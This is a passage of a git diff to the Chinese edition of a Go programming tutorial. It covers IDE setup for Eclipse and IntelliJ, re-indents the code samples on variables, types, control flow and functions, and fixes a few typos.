在windows下要安装git,通常用[msysgit](https://code.google.com/p/msysgit/) + + 再在cmd下安装: + + go get -u github.com/nsf/gocode + + 也可以下载代码,直接用go build来编译,会生成gocode.exe + +4. 下载[MinGW](http://sourceforge.net/projects/mingw/files/MinGW/)并按要求装好 + +5. 配置插件 + + Windows->Reference->Go + + (1).配置Go的编译器 + + ![](images/1.4.eclipse2.png?raw=true) + + 图1.12 设置Go的一些基础信息 + + + (2).配置Gocode(可选,代码补全),设置Gocode路径为之前生成的gocode.exe文件 + + ![](images/1.4.eclipse3.png?raw=true) + + 图1.13 设置gocode信息 + + (3).配置GDB(可选,做调试用),设置GDB路径为MingW安装目录下的gdb.exe文件 + + ![](images/1.4.eclipse4.png?raw=true) + + 图1.14 设置GDB信息 + +6. 测试是否成功 + + 新建一个go工程,再建立一个hello.go。如下图: + + ![](images/1.4.eclipse5.png?raw=true) + + 图1.15 新建项目编辑文件 + + 调试如下(要在console中用输入命令来调试): + + ![](images/1.4.eclipse6.png?raw=true) + + 图1.16 调试Go程序 + +## IntelliJ IDEA + +熟悉Java的读者应该对于idea不陌生,idea是通过一个插件来支持go语言的高亮语法,代码提示和重构实现。 + +1. 先下载idea,idea支持多平台:win,mac,linux,如果有钱就买个正式版,如果不行就使用社区免费版,对于只是开发Go语言来说免费版足够用了 + + ![](images/1.4.idea1.png?raw=true) + +2. 安装Go插件,点击菜单File中的Setting,找到Plugins,点击,Broswer repo按钮。国内的用户可能会报错,自己解决哈。 + + ![](images/1.4.idea3.png?raw=true) + +3. 这时候会看见很多插件,搜索找到Golang,双击,download and install。等到golang那一行后面出现Downloaded标志后,点OK。 + + ![](images/1.4.idea4.png?raw=true) + + 然后点 Apply .这时候IDE会要求你重启。 + +4. 重启完毕后,创建新项目会发现已经可以创建golang项目了: + + ![](images/1.4.idea5.png?raw=true) + + 下一步,会要求你输入 go sdk的位置,一般都安装在C:\Go,linux和mac根据自己的安装目录设置,选中目录确定,就可以了。 + +## links + * [目录]() + * 上一节: [Go 命令](<01.3.md>) + * 下一节: [总结](<01.5.md>) diff --git a/zh/01.5.md b/zh/01.5.md index 115e6fd4a..03797d9de 100644 --- a/zh/01.5.md +++ b/zh/01.5.md @@ -1,6 +1,6 @@ # 1.5 总结 -这一章中我们主要介绍了如何安装Go,Go可以通过三种方式安装:源码安装、标准包安装、第三方工具安装,安装之后我们需要配置我们的开发环境,然后介绍了如何配置本地的`$GOPATH`,通过设置`$GOPATH`之后读者就可以创建项目,接着介绍了如何来进行项目编译、应用安装等问题,这些需要用到很多Go命令,所以接着就介绍了一些Go的常用命令工具,包括编译、安装、格式化、测试等命令,最后介绍了Go的开发工具,目前有很多Go的开发工具:LiteIDE、Sublime、VSCode、Atom、Goglang、VIM、Emacs、Eclipse、Idea等工具,读者可以根据自己熟悉的工具进行配置,希望能够通过方便的工具快速的开发Go应用。 +这一章中我们主要介绍了如何安装Go,Go可以通过三种方式安装:源码安装、标准包安装、第三方工具安装,安装之后我们需要配置我们的开发环境,然后介绍了如何配置本地的`$GOPATH`,通过设置`$GOPATH`之后读者就可以创建项目,接着介绍了如何来进行项目编译、应用安装等问题,这些需要用到很多Go命令,所以接着就介绍了一些Go的常用命令工具,包括编译、安装、格式化、测试等命令,最后介绍了Go的开发工具,目前有很多Go的开发工具:LiteIDE、Sublime、VSCode、Atom、Goland、VIM、Emacs、Eclipse、Idea等工具,读者可以根据自己熟悉的工具进行配置,希望能够通过方便的工具快速的开发Go应用。 ## links * [目录]() diff --git a/zh/02.1.md b/zh/02.1.md index 18d770de8..23f648b8f 100644 --- a/zh/02.1.md +++ b/zh/02.1.md @@ -9,13 +9,13 @@ 准备好了吗?Let's Go! ```Go - package main +package main - import "fmt" +import "fmt" - func main() { - fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい\n") - } +func main() { + fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい\n") +} ``` 输出如下: diff --git a/zh/02.2.md b/zh/02.2.md index 5515fc983..76e3d51fe 100644 --- a/zh/02.2.md +++ b/zh/02.2.md @@ -9,49 +9,49 @@ Go语言里面定义变量有多种方式。 使用`var`关键字是Go最基本的定义变量方式,与C语言不同的是Go把变量类型放在变量名后面: ```Go - //定义一个名称为“variableName”,类型为"type"的变量 - var variableName type +//定义一个名称为“variableName”,类型为"type"的变量 +var variableName type ``` 定义多个变量 ```Go - //定义三个类型都是“type”的变量 - var vname1, vname2, vname3 type +//定义三个类型都是“type”的变量 +var vname1, vname2, vname3 type ``` 定义变量并初始化值 ```Go - //初始化“variableName”的变量为“value”值,类型是“type” - var variableName type = value +//初始化“variableName”的变量为“value”值,类型是“type” +var variableName type = value ``` 同时初始化多个变量 ```Go - /* - 定义三个类型都是"type"的变量,并且分别初始化为相应的值 - vname1为v1,vname2为v2,vname3为v3 - */ - var vname1, vname2, vname3 type= v1, v2, v3 +/* + 定义三个类型都是"type"的变量,并且分别初始化为相应的值 + vname1为v1,vname2为v2,vname3为v3 +*/ +var vname1, vname2, vname3 type= v1, v2, v3 ``` 你是不是觉得上面这样的定义有点繁琐?没关系,因为Go语言的设计者也发现了,有一种写法可以让它变得简单一点。我们可以直接忽略类型声明,那么上面的代码变成这样了: ```Go - /* - 定义三个变量,它们分别初始化为相应的值 - vname1为v1,vname2为v2,vname3为v3 - 然后Go会根据其相应值的类型来帮你初始化它们 - */ - var vname1, vname2, vname3 = v1, v2, v3 +/* + 定义三个变量,它们分别初始化为相应的值 + vname1为v1,vname2为v2,vname3为v3 + 然后Go会根据其相应值的类型来帮你初始化它们 +*/ +var vname1, vname2, vname3 = v1, v2, v3 ``` 你觉得上面的还是有些繁琐?好吧,我也觉得。让我们继续简化: ```Go - /* - 定义三个变量,它们分别初始化为相应的值 - vname1为v1,vname2为v2,vname3为v3 - 编译器会根据初始化的值自动推导出相应的类型 - */ - vname1, vname2, vname3 := v1, v2, v3 +/* + 定义三个变量,它们分别初始化为相应的值 + vname1为v1,vname2为v2,vname3为v3 + 编译器会根据初始化的值自动推导出相应的类型 +*/ +vname1, vname2, vname3 := v1, v2, v3 ``` 现在是不是看上去非常简洁了?`:=`这个符号直接取代了`var`和`type`,这种形式叫做简短声明。不过它有一个限制,那就是它只能用在函数内部;在函数外部使用则会无法编译通过,所以一般用`var`方式来定义全局变量。 @@ -62,11 +62,11 @@ Go语言里面定义变量有多种方式。 Go对于已声明但未使用的变量会在编译阶段报错,比如下面的代码就会产生一个错误:声明了`i`但未使用。 ```Go - package main +package main - func main() { - var i int - } +func main() { + var i int +} ``` ## 常量 @@ -75,17 +75,17 @@ Go对于已声明但未使用的变量会在编译阶段报错,比如下面的 它的语法如下: ```Go - const constantName = value - //如果需要,也可以明确指定常量的类型: - const Pi float32 = 3.1415926 +const constantName = value +//如果需要,也可以明确指定常量的类型: +const Pi float32 = 3.1415926 ``` 下面是一些常量声明的例子: ```Go - const Pi = 3.1415926 - const i = 10000 - const MaxThread = 10 - const prefix = "astaxie_" +const Pi = 3.1415926 +const i = 10000 +const MaxThread = 10 +const prefix = "astaxie_" ``` Go 常量和一般程序语言不同的是,可以指定相当多的小数位数(例如200位), 若指定給float32自动缩短为32bit,指定给float64自动缩短为64bit,详情参考[链接](http://golang.org/ref/spec#Constants) @@ -97,14 +97,14 @@ Go 常量和一般程序语言不同的是,可以指定相当多的小数位 在Go中,布尔值的类型为`bool`,值是`true`或`false`,默认为`false`。 ```Go - //示例代码 - var isActive bool // 全局变量声明 - var enabled, disabled = true, false // 忽略类型的声明 - func test() { - var available bool // 一般声明 - valid := false // 简短声明 - available = true // 赋值操作 - } +//示例代码 +var isActive bool // 全局变量声明 +var enabled, disabled = true, false // 忽略类型的声明 +func test() { + var available bool // 一般声明 + valid := false // 简短声明 + available = true // 赋值操作 +} ``` ### 数值类型 @@ -128,9 +128,9 @@ Go 常量和一般程序语言不同的是,可以指定相当多的小数位 这就是全部吗?No!Go还支持复数。它的默认类型是`complex128`(64位实数+64位虚数)。如果需要小一些的,也有`complex64`(32位实数+32位虚数)。复数的形式为`RE + IMi`,其中`RE`是实数部分,`IM`是虚数部分,而最后的`i`是虚数单位。下面是一个使用复数的例子: ```Go - var c complex64 = 5+5i - //output: (5+5i) - fmt.Printf("Value is: %v", c) +var c complex64 = 5+5i +//output: (5+5i) +fmt.Printf("Value is: %v", c) ``` ### 字符串 @@ -138,46 +138,46 @@ Go 常量和一般程序语言不同的是,可以指定相当多的小数位 我们在上一节中讲过,Go中的字符串都是采用`UTF-8`字符集编码。字符串是用一对双引号(`""`)或反引号(`` ` `` `` ` ``)括起来定义,它的类型是`string`。 ```Go - //示例代码 - var frenchHello string // 声明变量为字符串的一般方法 - var emptyString string = "" // 声明了一个字符串变量,初始化为空字符串 - func test() { - no, yes, maybe := "no", "yes", "maybe" // 简短声明,同时声明多个变量 - japaneseHello := "Konichiwa" // 同上 - frenchHello = "Bonjour" // 常规赋值 - } +//示例代码 +var frenchHello string // 声明变量为字符串的一般方法 +var emptyString string = "" // 声明了一个字符串变量,初始化为空字符串 +func test() { + no, yes, maybe := "no", "yes", "maybe" // 简短声明,同时声明多个变量 + japaneseHello := "Konichiwa" // 同上 + frenchHello = "Bonjour" // 常规赋值 +} ``` 在Go中字符串是不可变的,例如下面的代码编译时会报错:cannot assign to s[0] ```Go - var s string = "hello" - s[0] = 'c' +var s string = "hello" +s[0] = 'c' ``` 但如果真的想要修改怎么办呢?下面的代码可以实现: ```Go - s := "hello" - c := []byte(s) // 将字符串 s 转换为 []byte 类型 - c[0] = 'c' - s2 := string(c) // 再转换回 string 类型 - fmt.Printf("%s\n", s2) +s := "hello" +c := []byte(s) // 将字符串 s 转换为 []byte 类型 +c[0] = 'c' +s2 := string(c) // 再转换回 string 类型 +fmt.Printf("%s\n", s2) ``` Go中可以使用`+`操作符来连接两个字符串: ```Go - s := "hello," - m := " world" - a := s + m - fmt.Printf("%s\n", a) +s := "hello," +m := " world" +a := s + m +fmt.Printf("%s\n", a) ``` 修改字符串也可写为: ```Go - s := "hello" - s = "c" + s[1:] // 字符串虽不能更改,但可进行切片操作 - fmt.Printf("%s\n", s) +s := "hello" +s = "c" + s[1:] // 字符串虽不能更改,但可进行切片操作 +fmt.Printf("%s\n", s) ``` 如果要声明一个多行的字符串怎么办?可以通过`` ` ``来声明: @@ -193,10 +193,10 @@ Go中可以使用`+`操作符来连接两个字符串: Go内置有一个`error`类型,专门用来处理错误信息,Go的`package`里面还专门有一个包`errors`来处理错误: ```Go - err := errors.New("emit macho dwarf: elf header corrupted") - if err != nil { - fmt.Print(err) - } +err := errors.New("emit macho dwarf: elf header corrupted") +if err != nil { + fmt.Print(err) +} ``` ### Go数据底层的存储 @@ -215,72 +215,72 @@ Go内置有一个`error`类型,专门用来处理错误信息,Go的`package` 例如下面的代码: ```Go - import "fmt" - import "os" +import "fmt" +import "os" - const i = 100 - const pi = 3.1415 - const prefix = "Go_" +const i = 100 +const pi = 3.1415 +const prefix = "Go_" - var i int - var pi float32 - var prefix string +var i int +var pi float32 +var prefix string ``` 可以分组写成如下形式: ```Go - import( - "fmt" - "os" - ) +import( + "fmt" + "os" +) - const( - i = 100 - pi = 3.1415 - prefix = "Go_" - ) +const( + i = 100 + pi = 3.1415 + prefix = "Go_" +) - var( - i int - pi float32 - prefix string - ) +var( + i int + pi float32 + prefix string +) ``` ### iota枚举 Go里面有一个关键字`iota`,这个关键字用来声明`enum`的时候采用,它默认开始值是0,const中每增加一行加1: ```Go - package main +package main - import ( - "fmt" - ) +import ( + "fmt" +) - const ( - x = iota // x == 0 - y = iota // y == 1 - z = iota // z == 2 - w // 常量声明省略值时,默认和之前一个值的字面相同。这里隐式地说w = iota,因此w == 3。其实上面y和z可同样不用"= iota" - ) +const ( + x = iota // x == 0 + y = iota // y == 1 + z = iota // z == 2 + w // 常量声明省略值时,默认和之前一个值的字面相同。这里隐式地说w = iota,因此w == 3。其实上面y和z可同样不用"= iota" +) - const v = iota // 每遇到一个const关键字,iota就会重置,此时v == 0 +const v = iota // 每遇到一个const关键字,iota就会重置,此时v == 0 - const ( - h, i, j = iota, iota, iota //h=0,i=0,j=0 iota在同一行值相同 - ) +const ( + h, i, j = iota, iota, iota //h=0,i=0,j=0 iota在同一行值相同 +) - const ( - a = iota //a=0 - b = "B" - c = iota //c=2 - d, e, f = iota, iota, iota //d=3,e=3,f=3 - g = iota //g = 4 - ) +const ( + a = iota //a=0 + b = "B" + c = iota //c=2 + d, e, f = iota, iota, iota //d=3,e=3,f=3 + g = iota //g = 4 +) - func main() { - fmt.Println(a, b, c, d, e, f, g, h, i, j, x, y, z, w, v) - } +func main() { + fmt.Println(a, b, c, d, e, f, g, h, i, j, x, y, z, w, v) +} ``` >除非被显式设置为其它值或`iota`,每个`const`分组的第一个常量被默认设置为它的0值,第二及后续的常量被默认设置为它前面那个常量的值,如果前面那个常量的值是`iota`,则它也被设置为`iota`。 @@ -295,36 +295,36 @@ Go之所以会那么简洁,是因为它有一些默认的行为: `array`就是数组,它的定义方式如下: ```Go - var arr [n]type +var arr [n]type ``` 在`[n]type`中,`n`表示数组的长度,`type`表示存储元素的类型。对数组的操作和其它语言类似,都是通过`[]`来进行读取或赋值: ```Go - var arr [10]int // 声明了一个int类型的数组 - arr[0] = 42 // 数组下标是从0开始的 - arr[1] = 13 // 赋值操作 - fmt.Printf("The first element is %d\n", arr[0]) // 获取数据,返回42 - fmt.Printf("The last element is %d\n", arr[9]) //返回未赋值的最后一个元素,默认返回0 +var arr [10]int // 声明了一个int类型的数组 +arr[0] = 42 // 数组下标是从0开始的 +arr[1] = 13 // 赋值操作 +fmt.Printf("The first element is %d\n", arr[0]) // 获取数据,返回42 +fmt.Printf("The last element is %d\n", arr[9]) //返回未赋值的最后一个元素,默认返回0 ``` 由于长度也是数组类型的一部分,因此`[3]int`与`[4]int`是不同的类型,数组也就不能改变长度。数组之间的赋值是值的赋值,即当把一个数组作为参数传入函数的时候,传入的其实是该数组的副本,而不是它的指针。如果要使用指针,那么就需要用到后面介绍的`slice`类型了。 数组可以使用另一种`:=`来声明 ```Go - a := [3]int{1, 2, 3} // 声明了一个长度为3的int数组 +a := [3]int{1, 2, 3} // 声明了一个长度为3的int数组 - b := [10]int{1, 2, 3} // 声明了一个长度为10的int数组,其中前三个元素初始化为1、2、3,其它默认为0 +b := [10]int{1, 2, 3} // 声明了一个长度为10的int数组,其中前三个元素初始化为1、2、3,其它默认为0 - c := [...]int{4, 5, 6} // 可以省略长度而采用`...`的方式,Go会自动根据元素个数来计算长度 +c := [...]int{4, 5, 6} // 可以省略长度而采用`...`的方式,Go会自动根据元素个数来计算长度 ``` 也许你会说,我想数组里面的值还是数组,能实现吗?当然咯,Go支持嵌套数组,即多维数组。比如下面的代码就声明了一个二维数组: ```Go - // 声明了一个二维数组,该数组以两个数组作为元素,其中每个数组中又有4个int类型的元素 - doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} +// 声明了一个二维数组,该数组以两个数组作为元素,其中每个数组中又有4个int类型的元素 +doubleArray := [2][4]int{[4]int{1, 2, 3, 4}, [4]int{5, 6, 7, 8}} - // 上面的声明可以简化,直接忽略内部的类型 - easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} +// 上面的声明可以简化,直接忽略内部的类型 +easyArray := [2][4]int{{1, 2, 3, 4}, {5, 6, 7, 8}} ``` 数组的分配如下所示: @@ -340,30 +340,30 @@ Go之所以会那么简洁,是因为它有一些默认的行为: `slice`并不是真正意义上的动态数组,而是一个引用类型。`slice`总是指向一个底层`array`,`slice`的声明也可以像`array`一样,只是不需要长度。 ```Go - // 和声明array一样,只是少了长度 - var fslice []int +// 和声明array一样,只是少了长度 +var fslice []int ``` 接下来我们可以声明一个`slice`,并初始化数据,如下所示: ```Go - slice := []byte {'a', 'b', 'c', 'd'} +slice := []byte {'a', 'b', 'c', 'd'} ``` `slice`可以从一个数组或一个已经存在的`slice`中再次声明。`slice`通过`array[i:j]`来获取,其中`i`是数组的开始位置,`j`是结束位置,但不包含`array[j]`,它的长度是`j-i`。 ```Go - // 声明一个含有10个元素元素类型为byte的数组 - var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} +// 声明一个含有10个元素元素类型为byte的数组 +var ar = [10]byte {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} - // 声明两个含有byte的slice - var a, b []byte +// 声明两个含有byte的slice +var a, b []byte - // a指向数组的第3个元素开始,并到第五个元素结束, - a = ar[2:5] - //现在a含有的元素: ar[2]、ar[3]和ar[4] +// a指向数组的第3个元素开始,并到第五个元素结束, +a = ar[2:5] +//现在a含有的元素: ar[2]、ar[3]和ar[4] - // b是数组ar的另一个slice - b = ar[3:5] - // b的元素是:ar[3]和ar[4] +// b是数组ar的另一个slice +b = ar[3:5] +// b的元素是:ar[3]和ar[4] ``` >注意`slice`和数组在声明时的区别:声明数组时,方括号内写明了数组的长度或使用`...`自动计算长度,而声明`slice`时,方括号内没有任何字符。 @@ -382,22 +382,22 @@ slice有一些简便的操作 下面这个例子展示了更多关于`slice`的操作: ```Go - // 声明一个数组 - var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} - // 声明两个slice - var aSlice, bSlice []byte +// 声明一个数组 +var array = [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} +// 声明两个slice +var aSlice, bSlice []byte - // 演示一些简便操作 - aSlice = array[:3] // 等价于aSlice = array[0:3] aSlice包含元素: a,b,c - aSlice = array[5:] // 等价于aSlice = array[5:10] aSlice包含元素: f,g,h,i,j - aSlice = array[:] // 等价于aSlice = array[0:10] 这样aSlice包含了全部的元素 +// 演示一些简便操作 +aSlice = array[:3] // 等价于aSlice = array[0:3] aSlice包含元素: a,b,c +aSlice = array[5:] // 等价于aSlice = array[5:10] aSlice包含元素: f,g,h,i,j +aSlice = array[:] // 等价于aSlice = array[0:10] 这样aSlice包含了全部的元素 - // 从slice中获取slice - aSlice = array[3:7] // aSlice包含元素: d,e,f,g,len=4,cap=7 - bSlice = aSlice[1:3] // bSlice 包含aSlice[1], aSlice[2] 也就是含有: e,f - bSlice = aSlice[:3] // bSlice 包含 aSlice[0], aSlice[1], aSlice[2] 也就是含有: d,e,f - bSlice = aSlice[0:5] // 对slice的slice可以在cap范围内扩展,此时bSlice包含:d,e,f,g,h - bSlice = aSlice[:] // bSlice包含所有aSlice的元素: d,e,f,g +// 从slice中获取slice +aSlice = array[3:7] // aSlice包含元素: d,e,f,g,len=4,cap=7 +bSlice = aSlice[1:3] // bSlice 包含aSlice[1], aSlice[2] 也就是含有: e,f +bSlice = aSlice[:3] // bSlice 包含 aSlice[0], aSlice[1], aSlice[2] 也就是含有: d,e,f +bSlice = aSlice[0:5] // 对slice的slice可以在cap范围内扩展,此时bSlice包含:d,e,f,g,h +bSlice = aSlice[:] // bSlice包含所有aSlice的元素: d,e,f,g ``` `slice`是引用类型,所以当引用改变其中元素的值时,其它的所有引用都会改变该值,例如上面的`aSlice`和`bSlice`,如果修改了`aSlice`中元素的值,那么`bSlice`相对应的值也会改变。 @@ -407,8 +407,8 @@ slice有一些简便的操作 - 最大长度,也就是`slice`开始位置到数组的最后位置的长度 ```Go - Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} - Slice_a := Array_a[2:5] + Array_a := [10]byte{'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j'} + Slice_a := Array_a[2:5] ``` 上面代码的真正存储结构如下图所示 @@ -429,8 +429,8 @@ slice有一些简便的操作 从Go1.2开始slice支持了三个参数的slice,之前我们一直采用这种方式在slice或者array基础上来获取一个slice ```Go - var array [10]int - slice := array[2:4] +var array [10]int +slice := array[2:4] ``` 这个例子里面slice的容量是8,新版本里面可以指定这个容量 @@ -447,16 +447,16 @@ slice有一些简便的操作 我们看下面的代码,`map`的读取和设置也类似`slice`一样,通过`key`来操作,只是`slice`的`index`只能是`int`类型,而`map`多了很多类型,可以是`int`,可以是`string`及所有完全定义了`==`与`!=`操作的类型。 ```Go - // 声明一个key是字符串,值为int的字典,这种方式的声明需要在使用之前使用make初始化 - var numbers map[string]int - // 另一种map的声明方式 - numbers := make(map[string]int) - numbers["one"] = 1 //赋值 - numbers["ten"] = 10 //赋值 - numbers["three"] = 3 +// 声明一个key是字符串,值为int的字典,这种方式的声明需要在使用之前使用make初始化 +var numbers map[string]int +// 另一种map的声明方式 +numbers = make(map[string]int) +numbers["one"] = 1 //赋值 +numbers["ten"] = 10 //赋值 +numbers["three"] = 3 - fmt.Println("第三个数字是: ", numbers["three"]) // 读取数据 - // 打印出来如:第三个数字是: 3 +fmt.Println("第三个数字是: ", numbers["three"]) // 读取数据 +// 打印出来如:第三个数字是: 3 ``` 这个`map`就像我们平常看到的表格一样,左边列是`key`,右边列是值 @@ -474,26 +474,26 @@ slice有一些简便的操作 ```Go - // 初始化一个字典 - rating := map[string]float32{"C":5, "Go":4.5, "Python":4.5, "C++":2 } - // map有两个返回值,第二个返回值,如果不存在key,那么ok为false,如果存在ok为true - csharpRating, ok := rating["C#"] - if ok { - fmt.Println("C# is in the map and its rating is ", csharpRating) - } else { - fmt.Println("We have no rating associated with C# in the map") - } +// 初始化一个字典 +rating := map[string]float32{"C":5, "Go":4.5, "Python":4.5, "C++":2 } +// map有两个返回值,第二个返回值,如果不存在key,那么ok为false,如果存在ok为true +csharpRating, ok := rating["C#"] +if ok { + fmt.Println("C# is in the map and its rating is ", csharpRating) +} else { + fmt.Println("We have no rating associated with C# in the map") +} - delete(rating, "C") // 删除key为C的元素 +delete(rating, "C") // 删除key为C的元素 ``` 上面说过了,`map`也是一种引用类型,如果两个`map`同时指向一个底层,那么一个改变,另一个也相应的改变: ```Go - m := make(map[string]string) - m["Hello"] = "Bonjour" - m1 := m - m1["Hello"] = "Salut" // 现在m["hello"]的值已经是Salut了 +m := make(map[string]string) +m["Hello"] = "Bonjour" +m1 := m +m1["Hello"] = "Salut" // 现在m["hello"]的值已经是Salut了 ``` ### make、new操作 @@ -520,17 +520,17 @@ slice有一些简便的操作 此处罗列 部分类型 的 “零值” ```Go - int 0 - int8 0 - int32 0 - int64 0 - uint 0x0 - rune 0 //rune的实际类型是 int32 - byte 0x0 // byte的实际类型是 uint8 - float32 0 //长度为 4 byte - float64 0 //长度为 8 byte - bool false - string "" +int 0 +int8 0 +int32 0 +int64 0 +uint 0x0 +rune 0 //rune的实际类型是 int32 +byte 0x0 // byte的实际类型是 uint8 +float32 0 //长度为 4 byte +float64 0 //长度为 8 byte +bool false +string "" ``` ## links diff --git a/zh/02.3.md b/zh/02.3.md index c642b9830..4c24fd4d9 100644 --- a/zh/02.3.md +++ b/zh/02.3.md @@ -8,76 +8,76 @@ Go里面`if`条件判断语句中不需要括号,如下代码所示 ```Go - if x > 10 { - fmt.Println("x is greater than 10") - } else { - fmt.Println("x is less than 10") - } +if x > 10 { + fmt.Println("x is greater than 10") +} else { + fmt.Println("x is less than 10") +} ``` Go的`if`还有一个强大的地方就是条件判断语句里面允许声明一个变量,这个变量的作用域只能在该条件逻辑块内,其他地方就不起作用了,如下所示 ```Go - // 计算获取值x,然后根据x返回的大小,判断是否大于10。 - if x := computedValue(); x > 10 { - fmt.Println("x is greater than 10") - } else { - fmt.Println("x is less than 10") - } +// 计算获取值x,然后根据x返回的大小,判断是否大于10。 +if x := computedValue(); x > 10 { + fmt.Println("x is greater than 10") +} else { + fmt.Println("x is less than 10") +} - //这个地方如果这样调用就编译出错了,因为x是条件里面的变量 - fmt.Println(x) +//这个地方如果这样调用就编译出错了,因为x是条件里面的变量 +fmt.Println(x) ``` 多个条件的时候如下所示: ```Go - if integer == 3 { - fmt.Println("The integer is equal to 3") - } else if integer < 3 { - fmt.Println("The integer is less than 3") - } else { - fmt.Println("The integer is greater than 3") - } +if integer == 3 { + fmt.Println("The integer is equal to 3") +} else if integer < 3 { + fmt.Println("The integer is less than 3") +} else { + fmt.Println("The integer is greater than 3") +} ``` ### goto Go有`goto`语句——请明智地使用它。用`goto`跳转到必须在当前函数内定义的标签。例如假设这样一个循环: ```Go - func myFunc() { - i := 0 - Here: //这行的第一个词,以冒号结束作为标签 - println(i) - i++ - goto Here //跳转到Here去 - } +func myFunc() { + i := 0 +Here: //这行的第一个词,以冒号结束作为标签 + println(i) + i++ + goto Here //跳转到Here去 +} ``` >标签名是大小写敏感的。 ### for -Go里面最强大的一个控制逻辑就是`for`,它即可以用来循环读取数据,又可以当作`while`来控制逻辑,还能迭代操作。它的语法如下: +Go里面最强大的一个控制逻辑就是`for`,它既可以用来循环读取数据,又可以当作`while`来控制逻辑,还能迭代操作。它的语法如下: ```Go - for expression1; expression2; expression3 { - //... - } +for expression1; expression2; expression3 { + //... +} ``` `expression1`、`expression2`和`expression3`都是表达式,其中`expression1`和`expression3`是变量声明或者函数调用返回值之类的,`expression2`是用来条件判断,`expression1`在循环开始之前调用,`expression3`在每轮循环结束之时调用。 一个例子比上面讲那么多更有用,那么我们看看下面的例子吧: ```Go - package main +package main - import "fmt" +import "fmt" - func main(){ - sum := 0; - for index:=0; index < 10 ; index++ { - sum += index - } - fmt.Println("sum is equal to ", sum) +func main(){ + sum := 0; + for index:=0; index < 10 ; index++ { + sum += index } - // 输出:sum is equal to 45 + fmt.Println("sum is equal to ", sum) +} +// 输出:sum is equal to 45 ``` 有些时候需要进行多个赋值操作,由于Go里面没有`,`操作符,那么可以使用平行赋值`i, j = i+1, j-1` @@ -85,122 +85,122 @@ Go里面最强大的一个控制逻辑就是`for`,它即可以用来循环读 有些时候如果我们忽略`expression1`和`expression3`: ```Go - sum := 1 - for ; sum < 1000; { - sum += sum - } +sum := 1 +for ; sum < 1000; { + sum += sum +} ``` 其中`;`也可以省略,那么就变成如下的代码了,是不是似曾相识?对,这就是`while`的功能。 ```Go - sum := 1 - for sum < 1000 { - sum += sum - } +sum := 1 +for sum < 1000 { + sum += sum +} ``` 在循环里面有两个关键操作`break`和`continue` ,`break`操作是跳出当前循环,`continue`是跳过本次循环。当嵌套过深的时候,`break`可以配合标签使用,即跳转至标签所指定的位置,详细参考如下例子: ```Go - for index := 10; index>0; index-- { - if index == 5{ - break // 或者continue - } - fmt.Println(index) +for index := 10; index>0; index-- { + if index == 5{ + break // 或者continue } - // break打印出来10、9、8、7、6 - // continue打印出来10、9、8、7、6、4、3、2、1 + fmt.Println(index) +} +// break打印出来10、9、8、7、6 +// continue打印出来10、9、8、7、6、4、3、2、1 ``` `break`和`continue`还可以跟着标号,用来跳到多重循环中的外层循环 `for`配合`range`可以用于读取`slice`和`map`的数据: ```Go - for k,v:=range map { - fmt.Println("map's key:",k) - fmt.Println("map's val:",v) - } +for k,v:=range map { + fmt.Println("map's key:",k) + fmt.Println("map's val:",v) +} ``` 由于 Go 支持 “多值返回”, 而对于“声明而未被调用”的变量, 编译器会报错, 在这种情况下, 可以使用`_`来丢弃不需要的返回值 例如 ```Go - for _, v := range map{ - fmt.Println("map's val:", v) - } +for _, v := range map{ + fmt.Println("map's val:", v) +} ``` ### switch 有些时候你需要写很多的`if-else`来实现一些逻辑处理,这个时候代码看上去就很丑很冗长,而且也不易于以后的维护,这个时候`switch`就能很好的解决这个问题。它的语法如下 ```Go - switch sExpr { - case expr1: - some instructions - case expr2: - some other instructions - case expr3: - some other instructions - default: - other code - } +switch sExpr { +case expr1: + some instructions +case expr2: + some other instructions +case expr3: + some other instructions +default: + other code +} ``` `sExpr`和`expr1`、`expr2`、`expr3`的类型必须一致。Go的`switch`非常灵活,表达式不必是常量或整数,执行的过程从上至下,直到找到匹配项;而如果`switch`没有表达式,它会匹配`true`。 ```Go - i := 10 - switch i { - case 1: - fmt.Println("i is equal to 1") - case 2, 3, 4: - fmt.Println("i is equal to 2, 3 or 4") - case 10: - fmt.Println("i is equal to 10") - default: - fmt.Println("All I know is that i is an integer") - } +i := 10 +switch i { +case 1: + fmt.Println("i is equal to 1") +case 2, 3, 4: + fmt.Println("i is equal to 2, 3 or 4") +case 10: + fmt.Println("i is equal to 10") +default: + fmt.Println("All I know is that i is an integer") +} ``` 在第5行中,我们把很多值聚合在了一个`case`里面,同时,Go里面`switch`默认相当于每个`case`最后带有`break`,匹配成功后不会自动向下执行其他case,而是跳出整个`switch`, 但是可以使用`fallthrough`强制执行后面的case代码。 ```Go - integer := 6 - switch integer { - case 4: - fmt.Println("The integer was <= 4") - fallthrough - case 5: - fmt.Println("The integer was <= 5") - fallthrough - case 6: - fmt.Println("The integer was <= 6") - fallthrough - case 7: - fmt.Println("The integer was <= 7") - fallthrough - case 8: - fmt.Println("The integer was <= 8") - fallthrough - default: - fmt.Println("default case") - } +integer := 6 +switch integer { +case 4: + fmt.Println("The integer was <= 4") + fallthrough +case 5: + fmt.Println("The integer was <= 5") + fallthrough +case 6: + fmt.Println("The integer was <= 6") + fallthrough +case 7: + fmt.Println("The integer was <= 7") + fallthrough +case 8: + fmt.Println("The integer was <= 8") + fallthrough +default: + fmt.Println("default case") +} ``` 上面的程序将输出 ```Go - The integer was <= 6 - The integer was <= 7 - The integer was <= 8 - default case +The integer was <= 6 +The integer was <= 7 +The integer was <= 8 +default case ``` ## 函数 函数是Go里面的核心设计,它通过关键字`func`来声明,它的格式如下: ```Go - func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) { - //这里是处理逻辑代码 - //返回多个值 - return value1, value2 - } +func funcName(input1 type1, input2 type2) (output1 type1, output2 type2) { + //这里是处理逻辑代码 + //返回多个值 + return value1, value2 +} ``` 上面的代码我们看出 @@ -215,30 +215,30 @@ 